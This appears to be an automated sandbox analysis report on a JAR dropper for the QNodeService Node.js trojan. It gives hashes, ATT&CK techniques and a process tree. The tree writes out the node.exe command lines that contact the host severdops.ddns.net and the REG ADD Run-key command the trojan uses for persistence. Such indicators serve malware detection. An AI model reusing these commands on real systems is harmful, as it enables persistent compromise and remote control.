qnodeservice | b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1

General

Target

f4.jar
Size

57KB
MD5

ae77d6c4c46bbfdaa23c9238d12dcd98
SHA1

4a5e4e0e0e7957a6b78a827bcd2d13f37afa713d
SHA256

b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1
SHA512

64dc178003a04a44a3887e136749a2e46e455ca343373d92e8087454cba8c462bdbd04e40164d315bf283174293104d759fc2d38fff4232579d760d9a3f1d114

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1172	node.exe
3696	node.exe
3240	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\ff11e993-10dc-4933-8e4f-516c2d849790 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab56-173.dat	js
behavioral2/files/0x000100000001ab56-176.dat	js
behavioral2/files/0x000100000001ab56-180.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1172	node.exe
1172	node.exe
1172	node.exe
1172	node.exe
3696	node.exe
3696	node.exe
3696	node.exe
3696	node.exe
3240	node.exe
3240	node.exe
3240	node.exe
3240	node.exe
3240	node.exe
3240	node.exe
3240	node.exe
3240	node.exe
3240	node.exe
3240	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 1240	540	java.exe	76
PID 540 wrote to memory of 1240	540	java.exe	76
PID 1240 wrote to memory of 1172	1240	javaw.exe	80
PID 1240 wrote to memory of 1172	1240	javaw.exe	80
PID 1172 wrote to memory of 3696	1172	node.exe	82
PID 1172 wrote to memory of 3696	1172	node.exe	82
PID 3696 wrote to memory of 3240	3696	node.exe	83
PID 3696 wrote to memory of 3240	3696	node.exe	83
PID 3240 wrote to memory of 3088	3240	node.exe	85
PID 3240 wrote to memory of 3088	3240	node.exe	85
PID 3088 wrote to memory of 2148	3088	cmd.exe	86
PID 3088 wrote to memory of 2148	3088	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\f4.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:540
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\6430ea54.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.js --hub-domain severdops.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3696
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.js --hub-domain severdops.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3240
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ff11e993-10dc-4933-8e4f-516c2d849790" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3088
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ff11e993-10dc-4933-8e4f-516c2d849790" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1172-174-0x0000037249680000-0x0000037249681000-memory.dmp

Filesize
4KB

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memory/3240-181-0x000003D8508C0000-0x000003D8508C1000-memory.dmp

Filesize
4KB

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memory/3696-177-0x000003C270100000-0x000003C270101000-memory.dmp

Filesize
4KB

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